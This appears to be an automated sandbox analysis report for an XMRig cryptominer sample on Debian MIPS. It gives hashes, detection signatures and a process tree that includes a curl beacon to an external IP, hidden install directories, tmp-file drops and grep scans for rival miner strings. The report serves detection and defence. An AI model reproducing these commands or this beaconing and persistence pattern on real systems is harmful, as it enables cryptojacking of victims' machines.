xmrig | 558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

Analysis

max time kernel
150s
max time network
116s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/09/2026, 17:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
Size 9KB
Sample260929-vmmflayerd
SHA256 558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
MD5 8aa0e1a111a9d59f043d593c8d4c68d7
SHA1 f7119451214293ea52070f4699125664c1f81c3e
SHA512 51b971a5789932ae0c6da42e0988eeb661cddf81cb44b7c567ef56cf3c380dea2befa2d01df1c18e84609a3645ae152f7ab8619b1175b5acf26228cbd75ee345
SSDEEP 96:Jnrj47y/BXXDP/dYF2WoxWEkEEEMc4FCxWdmB9s9aE5aQZIVbStwqo0RnxAXtdLY:Jrjp/BiHNFCxWqseQGSWSaL1pjzs
TLSH
T1E012D8F0FA6CEF30398C59B87A0A8A6E5BC6197B06A93C51F0DE3504FF5864D600E765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner upx

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral3/files/fstream-9.dat	family_xmrig
behavioral3/files/fstream-9.dat	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-6.dat	upx

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
2148	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/68/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/707/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/77/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/14/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/354/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/15/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/78/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/2/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/321/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/37/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/24/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/352/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/115/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/36/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/23/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/5/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/69/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1261	basename
1282	strings
1480	basename
1631	stat
1643	head
1097	head
1184	head
1210	basename
1387	strings
1417	basename
1513	strings
1528	basename
1109	stat
1415	stat
1487	stat
1114	strings
1067	stat
1423	basename
1496	stat
1556	head
2148	sh
1070	head
1319	stat
1586	stat
1691	head
1192	basename
1273	strings
1271	head
1008	head
1111	basename
1400	stat
1558	strings
1079	head
1147	basename
1148	head
1177	strings
1231	strings
1357	basename
1439	stat
1546	basename
1208	stat
1450	basename
1472	stat
1588	basename
1669	basename
1675	basename
1175	head
1403	head
1511	head
1555	basename
1670	head
1241	stat
1220	head
1226	stat
1651	basename
1255	strings
1279	basename
1519	basename
1573	strings
2014	head
1165	basename
1181	stat
1243	basename
1366	basename

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lx_phoenix.log	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for modification	/tmp/.lxseal.tgz	tar

/tmp/558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
/tmp/558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
1⤵
- Reads runtime system information
- Writes file to tmp directory
PID:707
- /bin/hostname
  hostname
  2⤵
  PID:716
- /usr/bin/cut
  cut -c1-12
  2⤵
  PID:717
- /bin/mkdir
  mkdir -p /root/.local/share/icc/.mgr /usr/lib/.lx
  2⤵
  PID:720
- /bin/date
  date "+%s"
  2⤵
  PID:722
- /bin/cat
  cat /usr/lib/.lx/.lastrun
  2⤵
  PID:726
- /bin/hostname
  hostname
  2⤵
  PID:729
- /usr/bin/id
  id -u
  2⤵
  PID:731
- /usr/bin/wc
  wc -l
  2⤵
  PID:735
- /usr/bin/curl
  curl -s --max-time 6 -d lx4_debian9-mipsbe-20260513-en-7_0_0g http://23.252.123.134:8098/beacon
  2⤵
  - Reads runtime system information
  PID:736
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:753
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:756
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:758
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:761
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:763
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:765
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:768
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:770
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:773
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:775
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:777
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:780
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:783
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:785
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:787
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:789
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:792
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:795
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:797
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:799
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:801
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:804
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:807
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:809
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:811
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:814
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:816
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:819
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:821
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:823
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:826
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:828
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:831
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:833
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:835
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:838
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:841
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:843
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:845
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:848
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:850
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:853
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:855
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:857
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:860
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:862
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:865
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:868
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:870
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:876
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:879
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:881
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:883
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:886
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:891
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:894
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:897
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:900
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:905
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:907
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:909
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:912
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:914
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:917
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:919
- /usr/bin/cut
  cut "-d," -f1
  2⤵
  PID:922
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:927
- /usr/bin/head
  head -1
  2⤵
  PID:926
- /bin/date
  date "+%F %T"
  2⤵
  PID:929
- /usr/bin/head
  head -1
  2⤵
  PID:934
- /usr/bin/find
  find /usr/lib -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:933
- /usr/bin/find
  find /usr/lib -type f -name glint -size +500k
  2⤵
  PID:938
- /usr/bin/head
  head -1
  2⤵
  PID:939
- /usr/bin/find
  find /usr/lib -type f -name miner2 -size +500k
  2⤵
  PID:941
- /usr/bin/head
  head -1
  2⤵
  PID:942
- /usr/bin/head
  head -1
  2⤵
  PID:945
- /usr/bin/find
  find /usr/lib -type f -name krig-miner -size +500k
  2⤵
  PID:944
- /usr/bin/head
  head -1
  2⤵
  PID:948
- /usr/bin/find
  find /usr/lib -type f -name pearl -size +500k
  2⤵
  PID:947
- /usr/bin/head
  head -1
  2⤵
  PID:951
- /usr/bin/find
  find /usr/lib -type f -name nvidia-persistenced -size +500k
  2⤵
  - Reads runtime system information
  PID:950
- /usr/bin/find
  find /usr/lib -type f -size +500k
  2⤵
  - Reads runtime system information
  PID:959
- /usr/bin/head
  head -100
  2⤵
  PID:960
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libm.a
  2⤵
  PID:971
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libm.a
  2⤵
  PID:973
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libm.a
  2⤵
  PID:975
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:976
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:979
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:981
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:983
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:982
- /usr/bin/head
  head -c 120000
  2⤵
  PID:986
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:987
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:985
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:991
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:994
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:996
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:995
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1000
- /usr/bin/head
  head -c 120000
  2⤵
  PID:999
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:998
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libgmp.so.10.3.2
  2⤵
  PID:1003
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libgmp.so.10.3.2
  2⤵
  PID:1006
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1009
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libgmp.so.10.3.2
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1011
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1012
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libgmp.so.10.3.2
  2⤵
  PID:1010
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1015
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1018
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1020
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1019
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1023
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1022
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1021
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1027
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1030
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1032
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1031
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1036
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1035
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1034
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libdb-5.3.so
  2⤵
  PID:1040
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libdb-5.3.so
  2⤵
  PID:1042
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1044
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libdb-5.3.so
  2⤵
  PID:1043
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1047
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1046
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libdb-5.3.so
  2⤵
  PID:1045
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1049
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1051
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1053
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1052
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1056
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1055
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1054
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1058
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1060
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1062
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1061
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1065
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1064
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1063
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  - System Network Configuration Discovery
  PID:1067
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  PID:1069
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1071
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  - System Network Configuration Discovery
  PID:1070
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1074
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1073
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  PID:1072
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libicudata.so.57.1
  2⤵
  - Reads runtime system information
  PID:1076
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libicudata.so.57.1
  2⤵
  PID:1078
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1080
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libicudata.so.57.1
  2⤵
  - System Network Configuration Discovery
  PID:1079
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1082
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libicudata.so.57.1
  2⤵
  PID:1081
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1083
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1085
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1087
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1089
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1088
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1092
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1091
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1090
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcups.so.2
  2⤵
  PID:1094
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcups.so.2
  2⤵
  PID:1096
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1098
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcups.so.2
  2⤵
  - System Network Configuration Discovery
  PID:1097
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1101
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1100
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libcups.so.2
  2⤵
  PID:1099
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libpthread.a
  2⤵
  PID:1103
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libpthread.a
  2⤵
  PID:1105
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1107
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libpthread.a
  2⤵
  PID:1106
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libstdc++.so.6.0.22
  2⤵
  - System Network Configuration Discovery
  PID:1109
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libstdc++.so.6.0.22
  2⤵
  - System Network Configuration Discovery
  PID:1111
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1113
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libstdc++.so.6.0.22
  2⤵
  PID:1112
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1116
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1115
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libstdc++.so.6.0.22
  2⤵
  - System Network Configuration Discovery
  PID:1114
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libgs.so.9.26
  2⤵
  PID:1118
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libgs.so.9.26
  2⤵
  PID:1120
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1122
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libgs.so.9.26
  2⤵
  PID:1121
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1125
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1124
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libgs.so.9.26
  2⤵
  PID:1123
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1127
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1129
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1131
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1130
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1134
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1133
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1132
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1136
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1138
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1140
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1139
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1143
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1142
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1141
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libcrypto.so.1.1
  2⤵
  - Reads runtime system information
  PID:1145
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libcrypto.so.1.1
  2⤵
  - System Network Configuration Discovery
  PID:1147
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1149
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libcrypto.so.1.1
  2⤵
  - System Network Configuration Discovery
  PID:1148
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1152
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1151
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libcrypto.so.1.1
  2⤵
  PID:1150
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libmailutils.so.5.0.1
  2⤵
  - Reads runtime system information
  PID:1154
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1156
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1158
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1157
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1161
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1160
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1159
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/libxml2.so.2.9.4
  2⤵
  PID:1163
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/libxml2.so.2.9.4
  2⤵
  - System Network Configuration Discovery
  PID:1165
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1167
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/libxml2.so.2.9.4
  2⤵
  PID:1166
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1170
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1169
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/libxml2.so.2.9.4
  2⤵
  PID:1168
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl-base/auto/re/re.so
  2⤵
  PID:1172
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl-base/auto/re/re.so
  2⤵
  PID:1174
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1176
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl-base/auto/re/re.so
  2⤵
  - System Network Configuration Discovery
  PID:1175
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1179
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1178
- /usr/bin/strings
  strings /usr/lib/mips-linux-gnu/perl-base/auto/re/re.so
  2⤵
  - System Network Configuration Discovery
  PID:1177
- /usr/bin/stat
  stat "-c%s" /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  - System Network Configuration Discovery
  PID:1181
- /usr/bin/basename
  basename /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1183
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1185
- /usr/bin/head
  head -c 4 /usr/lib/mips-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  - System Network Configuration Discovery
  PID:1184
- /usr/bin/head
  head -c 120000
